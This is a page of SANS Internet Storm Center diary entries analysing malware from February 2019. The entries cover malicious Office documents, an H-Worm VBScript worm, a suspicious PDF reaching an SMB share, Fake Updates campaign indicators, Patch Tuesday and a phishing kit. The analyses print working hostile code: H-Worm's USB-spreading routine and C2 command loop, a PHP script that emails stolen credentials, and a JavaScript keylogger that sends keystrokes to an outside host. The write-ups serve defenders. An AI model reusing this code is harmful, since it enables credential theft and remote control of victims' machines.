Posted on

Finding Property Values in Office Documents, (Sat, Feb 16th)

In diary entry “Maldoc Analysis of the Weekend“, I use the strings method explained in diary entry “Quickie: String Analysis is Still Useful” to quickly locate the PowerShell command hidden in a malicious Word document.

A comment was posted for this diary entry, asking the question: how can one find a property value with my tools, instead of the strings command? I gave one example in diary entry “Word maldoc: yet another place to hide a command“, and I’ll give another example in this diary entry.

With oledump.py, I get an overview of streams in the document: stream 8 contains macros (indicator M):

From the previous analysis, I know that a Shell statement is used to execute a PowerShell command. I grep for string “shell” to find this command in the VBA source code in stream 8:

The PowerShell command is hidden in an property AlternativeText, but where can this be found inside the Word document? Variable DwchQqabF points to an object with property AlternativeText.

I grep for this variable in the VBA source code:

The object is a shape with name “qg1batoc21p”. This object, with its name, can be found in another stream (not in the VBA stream). I use option -y to create and use an ad-hoc YARA rule to search for this name.

Option -y takes an argument, usually it’s the name of a file that contains YARA rules. oledump.py will use the provided YARA rules to search through each stream, and report matching rules.

To avoid the overhead of creating a YARA rule for a single string-search, oledump.py supports ah-hoc YARA rules. An ad-hoc YARA rule, is a simple YARA rule that is generated automatically by oledump.py, with the argument provided via option -y. When this argument starts with #s#, oledump.py will create an ad-hoc YARA rule for a string (s). This string is to be provided after #s#, like this: #s#qg1batoc21p. This will create a YARA rule searching for string “qg1batoc21p” in ASCII (ascii), UNICODE (wide) and regardless of case (nocase).

Here is the result:

Stream 4 and stream 8 contain string “qg1batoc21p”. Stream 8 contains the VBA code, so it’s to be expected that it contains the string. Hence I take a closer look at stream 4 (1Table), where I expect to find property AlternativeText value.

I use option –yarastrings to know at which position(s) the string “qg1batoc21p” was found:

It was found at position 0x16C7, and it is a UNICODE string (notice the 00 bytes).

I can now use option -C (cut) to cut-out (select) the part of the stream that interests me. I want the part that starts at 0x16C7, thus the cut-expression begins with 0x16C7. And to avoid data scrolling off the screen, I select 256 bytes: 0x100l means to select a part with length (l) 0x100 (256 decimal):

We can see the start of the PowerShell command in UNICODE. With a bit of trial and error, I figure out that I need to select 0x14C8 bytes to get the complete command:

Tomorrow, I will post a video showing this method and a second, slightly different method.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Old H-Worm Delivered Through GitHub, (Thu, Feb 14th)

Another piece of malicious code spotted on GitHub this time. By the way, this is the perfect example to demonstrate that protecting users via a proxy with web-categorization is useless… Event sites from the Alexa Top-1M may deliver malicious content (Github current position is 51[1]). The URL has been found in a classic email phishing attempt. The content was recently uploaded (<24h) when I found it:

hxxps://raw.githubusercontent[.]com/sidilig/sharing/ebk-ci/Ebanking.zip

Let’s have a look at the archive content:

ISC $ shasum -a 256 Ebanking.zip
abb244010410ce6012bac9e4fc902432cfebe06724d014c63d9ef21f0a6b8b78  Ebanking.zip
ISC $ unzip -t Ebanking.zip
Archive:  Ebanking.zip
    testing: Mesures de sécurité.jar   OK
    testing: Habilitations Ebank.vbs   OK
No errors detected in compressed data of Ebanking.zip.
ISC $ shasum -a 256 *
d4ffa2acdec66f15c2252f36311c059ab00cc942b7cb54c33b4257dbc680ed9b  Habilitations Ebank.vbs
7ab54cb93a4a76dd5578f0b0ddcaeb8420311ebb39f27b62e535a43aec02523a  Mesures de sécurité.jar

Let’s have a look at the VBScript code. It’s based on a big class:

Class Values
   ...
End Class
Set myClass = new Values
myClass.Start()

Most part of the code is obfuscated using a simple technique: A chunk of Base64 data is decoded by replacing a set of characters with the letter ‘A’:

Private Function peter_paul(sand, way_off)
  Dim stapler, hp_pc, pillow, ruben
  stapler = "[email protected]"
  hp_pc = "A"
  pillow = "Q29uc3QgVHlw....."
  ruben = Replace(pillow, stapler, hp_pc)
  peter_paul = b642byt_arr(1, ruben, 10)
End Function

Easy to decode with Cyberchef:

The decoded data is a new script. The next step is to execute it::

Public Sub Start()
  Set yhm_pepe = CreateObject("ADODB.Stream")
  Set spike = CreateObject("Microsoft.XMLDOM")
  If john_conor(1, peter_paul(0, False)) = ojor Then
    ExecuteGlobal ojor
  End If
End Sub

The code is simply written to the ADODB.Stream then executed. Here is what the second stage does. It copies itself for persistence in %TEMP%tGcuACWROu.vbs then install . An interesting behaviour: it scans for available removable drives (drive.type == 1)[2] and infect them:

for each drive in filesystemobj.drives
  if  drive.isready = true then
    if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "" & installname,true
        if  filesystemobj.fileexists (drive.path & "" & installname)  then
          filesystemobj.getfile(drive.path & ""  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "" ).Files
          if not lnkfile then exit for
            if  instr (file.name,".") then
              if  lcase (split(file.name, ".") (ubound(split(file.name, "."))))  "lnk" then
                file.attributes = 2+4
                if  ucase (file.name)  ucase (installname) then
                  filename = split(file.name,".")
                  set lnkobj = shellobj.createshortcut (drive.path & ""&filename (0)&".lnk")
                  lnkobj.windowstyle = 7
                  lnkobj.targetpath = "cmd.exe"
                  lnkobj.workingdirectory = ""
                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ",     chrw(34) & " " & chrw(34)) &"&exit"
                   filleicon = shellobj.regread ("HKEY_LOCAL_MACHINEsoftwareclasses" & shellobj.regread ("HKEY_LOCAL_MACHINEsoftwareclasses." &     split(file.name, ".")(ubound(split(file.name, ".")))& "") & "defaulticon")
                   if  instr (fileicon,",") = 0 then
                     lnkobj.iconlocation = file.path
                   else
                     lnkobj.iconlocation = fileicon
                   end if
                   lnkobj.save()
                 end if
               end if
             end if
           next

When the installation is successful, it starts to communicate with the C2 server:  hxxp://ghanaandco.sytes[.]net:3007.

POST /is-ready HTTP/1.1
Accept: */*
Accept-Language: fr-be
User-Agent: 647B5904PLAYBOX1XavierMicrosoft Windows XP Professionalplusnan-avfalse - 15/02/2019
Accept-Encoding: gzip, deflate
Host: ghanaandco.sytes.net:3007
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

Here is a reply from the C2 server:

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Content-Length: 12
Server: Indy/9.0.18

sleep5000

Here is the main loop waiting for commands:

while true
  install
  response = ""
  response = post ("is-ready","")
  cmd = split (response,spliter)
  select case cmd (0)
    case "excecute"
      param = cmd (1)
      execute param
    case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit
    case "uninstall"
      uninstall
    case "send"
      download cmd (1),cmd (2)
    case "site-send"
      sitedownloader cmd (1),cmd (2)
    case "recv"
      param = cmd (1)
      upload (param)
    case  "enum-driver"
       post "is-enum-driver",enumdriver
     case  "enum-faf"
       param = cmd (1)
       post "is-enum-faf",enumfaf (param)
     case  "enum-process"
       post "is-enum-process",enumprocess
     case  "cmd-shell"
       param = cmd (1)
       post "is-cmd-shell",cmdshell (param)
     case  "delete"
        param = cmd (1)
        deletefaf (param)
      case  "exit-process"
        param = cmd (1)
        exitprocess (param)
      case  "sleep"
        param = cmd (1)
        sleep = eval (param)
    end select
  wscript.sleep sleep
wend

If the delivery method changed, the malicious code is not new. This is a good old H-Worm as already found in 2013[3]. Old stuff but still used in the wild!

[1] https://www.alexa.com/siteinfo/github.com
[2] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/drivetype-property
[3] https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Suspicious PDF Connecting to a Remote SMB Share, (Thu, Feb 14th)

Yesterday I stumbled upon a PDF file that was flagged as suspicious by a customer’s anti-malware solution and placed in the quarantine. Later, the recipient contacted the team in charge of emails to access his document because he knew the sender and pretended that the file was legit.

The file looked indeed safe and the content was properly related to the customer’s business. I did a quick analysis of the file in my sanbox and, once the file opened, Acrobat Reader attempted to connect to a remote SMB share. I extracted objects from the PDF file and there was indeed a reference to a SMB share. When you ask a computer to connect to such a service, you immediately think about NTLM hashes leak.

Here is the object extracted from the PDF:

obj 10 0
 Type: /Page
 Referencing: 9 0 R, 6 0 R, 11 0 R, 12 0 R, 13 0 R, 7 0 R, 2 0 R, 14 0 R, 1 0 R, 15 0 R, 16 0 R, 17 0 R, 18 0 R, 3 0 R, 19 0 R, 20 0 R

  <<
    /AA
      <<
        /O
          <>
      >>
    /Parent 9 0 R
    /Contents [6 0 R 11 0 R 12 0 R 13 0 R 7 0 R]
    /Type /Page
    /Resources
      <<
        /ExtGState
          <>
        /XObject
          <>
        /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
        /Font
          <>
      >>
    /MediaBox [0 -0.02000 598.80 844.08]
    /Annots [19 0 R 20 0 R]
  >>

The domain virtualofficestorage[.]com[1] resolves to %%ip:185.225.17.98%%, located in Romania. Shodan reports indeed a SMB share:

Helas, it does not reply anymore (last seen on 2019-02-03). There is a website running on this domain, it serves the default Ubuntu Apache welcome page. 

I can’t share the file not the hash but did you notice the same behavious with other PDF documents? Do you know more about this domain? (VT has only one reference to the same kind of document[2])
Please share!

[1] https://www.virustotal.com/#/domain/virtualofficestorage.com
[2] https://www.virustotal.com/#/file/746794ca49f497b43eb53a2fb25c4a0b3782002a45f498c047fa07d46cd43592/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Fake Updates campaign still active in 2019, (Wed, Feb 13th)

Introduction

Last week on 2019-02-06, @baberpervez2 tweeted about a compromised website used by the Fake Updates campaign (link to tweet).  The Fake Updates campaign uses compromised websites that generate traffic to a fake update page.  The type of fake update page depends on your web browser.  Victims would see a fake Flash update page when using Internet Explorer, a fake Chrome update page when using Google Chrome, or a fake Firefox update page when using Firefox.  Victims download JavaScript (.js) files from these pages disguised as browser updates.  The downloaded .js files will instead install malware on a vulnerable Windows host.

Patterns for infection traffic are relatively unchanged since this campaign was first reported on the Malwarebytes blog in April 2018.

I generated an infection from the Fake Updates campaign on Friday 2019-02-09 and again on Monday 2019-02-11.  Both times, the final payload was a Chthonic banking Trojan.  Today’s diary reviews the infection I generated on Monday 2019-02-11.


Shown above:  Flow chart for infection traffic from Monday 2019-02-11.

Screenshots

The following ar screenshots on Fake Updates campaign traffic I generated from the inital compromised website at thetechhaus[.]com.


Shown above:  Fake Chrome update page seen when thetechhaus[.]com was viewed in the Chrome web browser.


Shown above:  You can ignore warnings, download, and run the malicious .js file on a vulnerable Windows host.


Shown above:  The .js file shows highly-obfuscated script, which has always been the case for files from this campaign.


Shown above:  Start of the infection chain traffic filtered in Wireshark.


Shown above: Redirect traffic to track.positiverefreshment[.]org that pointed to fake Chrome update page.


Shown above:  Traffic for fake Chrome update page on 3aak.gotguardsecurity[.]com.


Shown above: HTTPS traffic to dl.dropboxusercontent.com that returned a malicious .js file.


Shown above:  Traffic after running the .js file disguised as a Chrome update.


Shown above:  Final payload (Chthonic banking Trojan) persistent on the infected Windows host.

Indicators of Compromise (IoCs)

The following are indicators associated with the infection on Monday 2019-02-11.

Initial compromised site:

  • thetechhaus[.]com

Redirect that led to fake Chrome update page:

  • 81.4.122[.]193 port 80 – track.positiverefreshment[.]org – GET /s_code.js?[3 requests with different strings of characters]

Traffic for fake Chrome update page:

  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /chromefiles/css.css
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /chromefiles/chrome.min.css
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /chromefiles/chrome_logo_2x.png
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /chromefiles/chrome-new.jpg
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /chromefiles/k3k702ZOKiLJc3WVjuplzOgdm0LZdjqr5-oayXSOefg.woff2
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /chromefiles/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /chromefiles/DXI1ORHCpsQm3Vp6mXoaTegdm0LZdjqr5-oayXSOefg.woff2
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /chromefiles/MTP_ySUJH_bn48VBG8sNSugdm0LZdjqr5-oayXSOefg.woff2
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /chromefiles/chrome-32.png
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d&st=1
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d&st=2
  • 93.95.100[.]178 port 80 – 3aak.gotguardsecurity[.]com – GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d&st=3
  • Note: each time I saw a fake update page, the IP address was the same, but the domain was always different.

Download of .js file disguised as Chrome update:

  • port 443 – dl.dropboxusercontent.com – HTTPS traffic

Traffic generated by .js file:

  • 188.165.62[.]40 port 80 – 6145fab0.static.spillpalletonline[.]com – POST /pixel.gif
  • 188.165.62[.]40 port 80 – 6145fab0.static.spillpalletonline[.]com – POST /pixel.gif?ss&ss1img
  • Note: The above domains were also different for each infection.

Post-infection traffic caused by Chthonic banking Trojan:

  • [infected lab host restarted twice]
  • various IP addresses over TCP port 53 – DNS queries for afroamericanec[.]bit
  • 185.229.224[.]120 port 80 – afroamericanec[.]bit – POST /en/
  • 185.229.224[.]120 port 80 – afroamericanec[.]bit – POST /en/www/

Associated malware:

SHA256 hash: 9daa0dec909874316afe7f402e82d408b96b215a3501579849c792ec91cfe750

  • File size: 41,696 bytes
  • File name: Chrome_77.35.js
  • File description: malicious .js file returned from dl.dropboxusercontent.com

SHA256 hash: 4a17789f8a03fb2ec3185322ab879d436470d931e1fb98d0a4b9e5b68cda95ab

  • File size: 406,792 bytes
  • File location: C:Users[username]AppDataLocalTempChrome_77.35.exe
  • File description: Second executable dropped to the infected Windows host (Chthonic)

SHA256 hash: 7356424e04f730c7440f76cd822ff8645693b9835ae6aec4d6840cb1becae45c

  • File size: 406,792 bytes
  • File location: C:Users[username]AppDataRoamingYCommonFilesYCommonFiles.com (random names for directory and file name pair)
  • File description: Chthonic executable persistent on the infected Windows host.

Final words

Monday’s infection was unusual, because everything except for the dropbox URL was regular HTTP traffic.  I more often find HTTPS traffic from the compromised site, redirect traffic, and fake update page.  Usually the only HTTP traffic is generated by the downloaded .js file and final malware payload.

Pcap and malware samples for today’s diary can be found here.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Microsoft February 2019 Patch Tuesday, (Tue, Feb 12th)

This month, we got patches for 74 vulnerabilities in total. One of them has been exploited and two vulnerabilities have been made public before today. 

The known exploited vulnerability (CVE-2019-0676) may lead to information disclosure and affects Internet Explorer 10 on Windows Server 2012 and Internet Explorer 11 on Windows 7, 8.1 and 10 and Windows Server 2008, 2012, 2016 and 2019.  

From two previously known vulnerabilities, one (CVE-2019-0636) may also lead to information disclosure and the other, CVE-2019-0686, is a privilege escalation vulnerability on Microsoft Exchange 2010, 2013, 2016 and 2019. This vulnerability was well detailed by Bojan in this diary

Past month, critical vulnerabilities affected Microsoft DHCP Client. This time, a critical vulnerability was fixed on DHCP Server (2019-0626). If successfully exploited, it may allow an attacker to run arbitrary code on the DHCP server. The CVSS V3 for this vulnerability is 9.8 (out of 10).

Take a look at mine dashboard for a more detailed breakout: https://patchtuesdaydashboard.com 

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Framework and Visual Studio Remote Code Execution Vulnerability
%%cve:2019-0613%% No No Less Likely Less Likely Important    
.NET Framework and Visual Studio Spoofing Vulnerability
%%cve:2019-0657%% No No Less Likely Less Likely Important    
Azure IoT Java SDK Elevation of Privilege Vulnerability
%%cve:2019-0729%% No No Important    
Azure IoT Java SDK Information Disclosure Vulnerability
%%cve:2019-0741%% No No Important    
February 2019 Adobe Flash Security Update
ADV190003 No No Critical    
February 2019 Oracle Outside In Library Security Update
ADV190004 No No      
GDI+ Remote Code Execution Vulnerability
%%cve:2019-0662%% No No Less Likely Less Likely Critical 8.8 7.9
%%cve:2019-0618%% No No Less Likely Less Likely Critical 8.8 7.9
Guidance for “PrivExchange” Elevation of Privilege Vulnerability
ADV190007 Yes No More Likely More Likely      
Guidance to mitigate unconstrained delegation vulnerabilities
ADV190006 No No      
HID Information Disclosure Vulnerability
%%cve:2019-0600%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0601%% No No Less Likely Less Likely Important 4.7 4.2
Internet Explorer Information Disclosure Vulnerability
%%cve:2019-0676%% No Yes More Likely Detected Important 2.4 2.2
Internet Explorer Memory Corruption Vulnerability
%%cve:2019-0606%% No No Critical 6.4 5.8
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-0625%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0595%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0596%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0597%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0598%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0599%% No No Less Likely Less Likely Important 7.8 7.0
Latest Servicing Stack Updates
ADV990001 No No Critical    
Microsoft Browser Spoofing Vulnerability
%%cve:2019-0654%% No No More Likely More Likely Important 2.4 2.2
Microsoft Edge Information Disclosure Vulnerability
%%cve:2019-0643%% No No Moderate 4.3 3.9
Microsoft Edge Memory Corruption Vulnerability
%%cve:2019-0645%% No No Critical 4.2 3.8
%%cve:2019-0650%% No No Critical 4.2 3.8
%%cve:2019-0634%% No No Critical 4.2 3.8
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2019-0641%% No No Moderate 4.3 3.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2019-0669%% No No More Likely More Likely Important    
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2019-0686%% Yes No More Likely More Likely Important    
%%cve:2019-0724%% No No Important    
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
%%cve:2019-0671%% No No Less Likely Less Likely Important    
%%cve:2019-0672%% No No Less Likely Less Likely Important    
%%cve:2019-0673%% No No Less Likely Less Likely Important    
%%cve:2019-0674%% No No Less Likely Less Likely Important    
%%cve:2019-0675%% No No Important    
Microsoft Office Security Feature Bypass Vulnerability
%%cve:2019-0540%% No No More Likely More Likely Important    
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2019-0668%% No No Important    
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2019-0594%% No No Less Likely Less Likely Critical    
%%cve:2019-0604%% No No Less Likely Less Likely Critical    
Microsoft SharePoint Spoofing Vulnerability
%%cve:2019-0670%% No No Moderate    
Scripting Engine Elevation of Privileged Vulnerability
%%cve:2019-0649%% No No Important 4.2 3.8
Scripting Engine Information Disclosure Vulnerability
%%cve:2019-0648%% No No Important 4.3 3.9
%%cve:2019-0658%% No No Important 4.3 3.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0607%% No No Critical 4.2 3.8
%%cve:2019-0610%% No No Important 4.2 3.8
%%cve:2019-0640%% No No Critical 4.2 3.8
%%cve:2019-0642%% No No Critical 4.2 3.8
%%cve:2019-0644%% No No Critical 4.2 3.8
%%cve:2019-0651%% No No Critical 4.2 3.8
%%cve:2019-0652%% No No Critical 4.2 3.8
%%cve:2019-0655%% No No Critical 4.2 3.8
%%cve:2019-0590%% No No Critical 4.2 3.8
%%cve:2019-0591%% No No Critical 4.2 3.8
%%cve:2019-0593%% No No Critical 4.2 3.8
%%cve:2019-0605%% No No Critical 4.2 3.8
Team Foundation Server Cross-site Scripting Vulnerability
%%cve:2019-0743%% No No Less Likely Less Likely Important    
%%cve:2019-0742%% No No Less Likely Less Likely Important    
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2019-0728%% No No Less Likely Less Likely Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2019-0623%% No No Important 7.0 6.3
Win32k Information Disclosure Vulnerability
%%cve:2019-0628%% No No More Likely More Likely Important 4.7 4.2
Windows DHCP Server Remote Code Execution Vulnerability
%%cve:2019-0626%% No No Less Likely Less Likely Critical 9.8 8.8
Windows Defender Firewall Security Feature Bypass Vulnerability
%%cve:2019-0637%% No No Less Likely Less Likely Important 5.3 4.8
Windows GDI Information Disclosure Vulnerability
%%cve:2019-0660%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0664%% No No Important 4.7 4.2
%%cve:2019-0602%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0615%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0616%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0619%% No No Less Likely Less Likely Important 4.7 4.2
Windows Hyper-V Information Disclosure Vulnerability
%%cve:2019-0635%% No No Less Likely Less Likely Important 5.4 4.9
Windows Information Disclosure Vulnerability
%%cve:2019-0636%% Yes No More Likely More Likely Important 5.5 5.1
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-0656%% No No Important 4.7 4.2
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-0661%% No No Important 4.7 4.2
%%cve:2019-0621%% No No More Likely More Likely Important 5.5 5.0
Windows SMB Remote Code Execution Vulnerability
%%cve:2019-0630%% No No More Likely More Likely Important 7.5 6.7
%%cve:2019-0633%% No No More Likely More Likely Important 7.5 6.7
Windows Security Feature Bypass Vulnerability
%%cve:2019-0627%% No No More Likely More Likely Important 5.3 4.8
%%cve:2019-0631%% No No More Likely More Likely Important 5.3 4.8
%%cve:2019-0632%% No No More Likely More Likely Important 5.3 4.8
Windows Storage Service Elevation of Privilege Vulnerability
%%cve:2019-0659%% No No Less Likely Less Likely Important 7.0 6.3

 


Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Have You Seen an Email Virus Recently?, (Mon, Feb 11th)

I did some research into the delivery of the malicious documents I analyzed this weekend (diary entries here and here).

I obtained several emails used to deliver these malicious documents as attachment. It started February 4th. All these emails are replies to existing emails, some to emails many years old.

The body of the message is always the same:

Morning,

 

 

 

Please see the attached file for your reference.

 

zip password – 1234567

 

Thanks.

The subject varies, depending on the original email: Re: …

The sender is one of the destinataires of the original email. I don’t think they are spoofed, but I need to check more emails.

And the mailer is always Outlook.

I have an hypothesis, but I need to do more research to confirm or disprove it. And more info: maybe you can help.

The attached malicious documents execute the following PowerShell script:

This PowerShell script downloads and executes 2 items (strictly speaking, 3 downloads, but that’s another story):

  1. Another PowerShell script
  2. A Windows EXE (PE file)

My hypothesis is the following: the downloaded PowerShell script is an email virus. It uses ActiveX automation to browse through the Outlook inbox of the user that opened the malicious document, and selects one or more received emails to reply to. The PowerShell scripts sends replies with the message I mentioned above, and a malicious document attached (inside a password protected ZIP file).

I did not find samples of this downloaded PowerShell script. If you look at the first PowerShell script (screenshot), you will see that the second, downloaded PowerShell script is downloaded and executed without being written to disk. That makes it more difficult to obtain samples.

If you have a sample like this, please post a comment.

My research is far from complete, but I decided to already share information in this diary entry, as a request for help.

And also, to create awareness for malicious documents that are being delivered via replies to genuine emails. Because such emails are more likely to be opened by your users.

My hypothesis could be totally wrong: there could be another mechanism at work here (like compromised email accounts). But fact is, that malicious documents are being mailed around as replies to existing emails.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Video: Maldoc Analysis of the Weekend, (Sun, Feb 10th)

I made a video for yesterday’s diary entry “Maldoc Analysis of the Weekend” (the analysis of a Word document with VBA launching a PowerShell command).

The sample I use in this video is different from yesterday’s sample: I start with an email (.msg file) containing the maldoc in a password protected ZIP attachment. Unfortunately, I can’t share the content of this email. But I’m looking for similar samples that I can share.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Maldoc Analysis of the Weekend, (Sat, Feb 9th)

Yesterday I received malicious Office document request15.doc (MD5 8598361ecbbffb35900d0720b0316a56).

It contains VBA macros that execute a PowerShell script. That script is a bit different than usual, so let’s take a look.

With oledump.py, I look at the streams and find a macro stream:

Grepping for shell in the VBA code, it becomes clear what the purpose is:

Following the method I explained in diary entry “Quickie: String Analysis is Still Useful“, I can quickly extract the PowerShell command:

Remark also that in the VBA code, character [ is replaced with letter A before the code is executed. I use sed to do the replacement:

And then I pipe this into base64dump.py:

Giving me the following PowerShell script:

This PowerShell script enumerates all methods of class System.Net.WebClient, and takes action for methods DownloadString and DownloadData.

With DownloadString it downloads a PowerShell script to be executed (IEX).

And with DownloadData it downloads a Windows executable to be executed.

Both files were no longer available when I performed the analysis, but I could probably find them via VirusTotal.

 

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

Phishing Kit with JavaScript Keylogger, (Thu, Feb 7th)

Here is an interesting sample! It’s a phishing page which entice the user to connect to his/her account to retrieve a potentially interesting document. As you can see, it’s a classic one:

The HTML file has a very low VT score (2/56) [1]. I wrote a YARA rule to search for more samples and found (until today) 10 different samples. The behaviour is classic: Data provided by the victim in the HTML form is send to a compromized host where the phishing kit was deployed. Each sample has a different URL. I was lucky to find the complete kit still available in a zip archive on one of them:

$ shasum -a 256 fileout.zip
954dffa0eec8ca3baa5df6c5fc6e64479d7a3a3fcfb1c5285f98d70e116bc4af  fileout.zip
$ unzip -t fileout.zip
Archive:  fileout.zip
    testing: fileout/google.png       OK
    testing: fileout/login.php        OK
    testing: fileout/login2.php       OK
    testing: fileout/verification.html   OK
No errors detected in compressed data of fileout.zip.

‘login.php’ is a very simple script that just forwards the stolen credentials to the bad guy via email:

$ cat -n login.php
     1    <?php
     2    $ip = getenv("REMOTE_ADDR");
     3    $email = $_POST['Email'];
     4    $password = $_POST['Passwd'];
     5
     6
     7    $login = "Email Address : ".$email;
     8    $pass = "Password : ".$password;
     9    $target = "IP victim : ".$ip;
    10
    11
    12    $head = "########### Login info ############";
    13    $foot = "####### Indramayu CyBer ###########";
    14    $body = "Googledoc Login Information";
    15    mail(“@gmail.com", "$body","$head n$login n$pass n$target n$foot");
    16    header("Location: verification.html”);

As you can see, the victim will always be redirected to a second page (‘verification.html’) that will ask for more information:

You’ll probably spot the difference between the screenshots, the first page asks for Microsoft credentials, the second one asks verification details for Google. That’s because the phishing kit was found on a different seerver than the one used by the initial page (when I took the screenshots).

The form calls a second PHP script (‘login2.php’) which sends another email with the recovery information. Ok, but what is different this time? There is another “feature” in the first HTML page: A JavaScript keylogger!

     1 var keys = '';
     2 
     3 document.onkeypress = function(e) {
     4    var get = window.event ? event : e;
     5    var key = get.keyCode ? get.keyCode : get.charCode;
     6    key = String.fromCharCode(key);
     7    keys += key;
     8 }
     9 
    10 window.setInterval(function(){
    11    new Image().src = ‘hxxps://wq14u[.]com/keylog.php?c=' + keys;
    12    keys = '';
    13 }, 1000);

This piece of code will grab keys pressed in the browser windows and send them to the malicious server every second. This technique is not very efficient because special keys are not properly sent and the same URL is called again and again until the user remains on the same HTML page (1 req/sec).

Now the question: Why stealing credentials via two different techniques? I found references to the URL starting around December 15th 2018. If you have more details about this technique, please share!

[1] https://www.virustotal.com/gui/file/14da7077088a643fe23b09d430e3195ed3a1cd214b4b47a49d67719e0be57450/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on

UAC is not all that bad really, (Thu, Feb 7th)

User Access Control (UAC) is a feature Microsoft added long time ago (initially with Windows Vista) in an attempt to limit what local administrators can do on Windows. Basically, when a user logs in that is a local administrator, his session token will only have basic privileges, even though the user is actually an administrator.

In case the user wants to perform an activity that requires administrator privileges, the UAC system will ask the user to confirm the action. With modern Windows, when UAC is triggered, all applications and the taskbar is generally dimmed indicating that something important in happening.

As I do a lot of internal penetration tests, I actually quite often see that companies disable UAC for the whole enterprise. In many cases administrators complain that UAC causes them some problems and (as always in security), the easiest way is to disable the feature.

However, in a recent test I actually had an interesting challenge where UAC practically saved the day. Here is what happened.

I received a standard, non-privileged domain user account and a standard workstation, so I was able to simulate an attack by a disgruntled employee, for example. Since in basically every penetration test, reconnaissance is one of the most important activities, in internal tests I always try to enumerate and pilfer as much as possible from any internally available Windows shares.
